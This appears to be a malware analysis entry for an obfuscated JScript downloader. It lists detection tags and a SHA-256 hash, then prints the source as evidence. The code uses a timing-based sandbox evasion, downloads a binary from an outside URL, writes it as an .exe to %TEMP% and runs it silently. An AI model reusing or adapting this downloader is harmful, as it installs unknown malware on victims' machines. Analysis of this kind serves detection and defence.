20160328_9fbcf556a3d1a3558e0ae86c7dea6cac.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-25691a5e6debd0caddabcb8daef0f94d70acaeee2c324c5d283ffc0f8dc25371c6b
Evidence
1var Vcwhi = false;
2var Ebtkdac = "CreateObject";
3var Gsxmzelee = function Fqqqoso() {return WScript[Ebtkdac]("WScript.Shell");}();
4var Krahwifxex = 123213;
5var Jxnqls = "MSXML2.XMLHTTP";
6var Pdgxxlc = 2123213;
7var Dhwiykgy = 0;
8function Akrpi(Mmcyudh){Gsxmzelee["Run"](Mmcyudh, Dhwiykgy, Dhwiykgy);};
9function Vrnhcjk(){return Jxnqls;};
10function Tkldrul(Zilcjofjns, Ddjuk){return Zilcjofjns - Ddjuk;};
11function Kccmkda(){return Ebtkdac;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Vcwhi = true;
15 @end
16@*/
17var Xmxdii = "";
18if (Vcwhi)
19{
20function Shlhbc(){return 22;};
21var Msgwydhyug = 0; var Ofnjzsya = 0;
22function Qgsinkii()
23{
24var Robruowg = new this["Date"]();
25var Xvfdhu = Robruowg["getUTCMilliseconds"]();
26WScript["Sleep"](Shlhbc());
27var Robruowg = new this["Date"]();
28var Fqlyq = Robruowg["getUTCMilliseconds"]();
29WScript["Sleep"](Shlhbc());
30var Robruowg = new this["Date"]();
31var Pjrdinhlow = Robruowg["getUTCMilliseconds"]();
32var Msgwydhyug = "Qorvud";
33Msgwydhyug = Tkldrul(Fqlyq, Xvfdhu);
34var Ofnjzsya = "Cnkfb";
35Ofnjzsya = Tkldrul(Pjrdinhlow, Fqlyq);
36Xmxdii = "open";
37return Tkldrul(Msgwydhyug, Ofnjzsya);
38}
39var Fxydyony = false;
40var Pqems = false;
41for (var Cyqcyqvbif = Dhwiykgy; Cyqcyqvbif < Shlhbc() * 1; Cyqcyqvbif++){if (Qgsinkii() != Dhwiykgy){ …
49:2… f (Fxydyony && Huwkqh() && Pqems){
50function Yldsxeee() {return Gsxmzelee["ExpandEnvironmentStrings"]("%TEMP%/") + "7bkKWMCs.exe";};
51 Kcvxnl = Vrnhcjk();
52 Qpakjk = WScript[Ebtkdac](Kcvxnl);
53 var Jrbqhoxwwz = 1;
54 while (Jrbqhoxwwz){
55try {
56Qpakjk[Xmxdii]("GET", "http://www.stopeugenicsnow.eu/m8dhs", false);
57Qpakjk["send"]();
58Mwpjfmzevb = "Sleep";
59do {WScript[Mwpjfmzevb](Shlhbc() * 11)} while (Qpakjk["readystate"] < 4 );
60Jrbqhoxwwz = Dhwiykgy;
61} catch(Zekhw){Jrbqhoxwwz = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Kclobxngxz(Nmslep) {var Cwsqljbm = (1, 2, 3, 4, 5, Nmslep); return Cwsqljbm;};
64Mxqmlkkaj = WScript[Kccmkda()]("ADODB.Stream");
65Kcvxnl = Mxqmlkkaj;
66Kcvxnl[Xmxdii]();
67Kcvxnl["type"] = Kclobxngxz(1);
68Kcvxnl["write"](Qpakjk["ResponseBody"]);
69Mxqmlkkaj["position"] = Kclobxngxz(Dhwiykgy);
70Kcvxnl["SaveToFile"](Yldsxeee(), Kclobxngxz(2) );
71Mxqmlkkaj["close"]();
72Akrpi(Yldsxeee());
73}
74}
75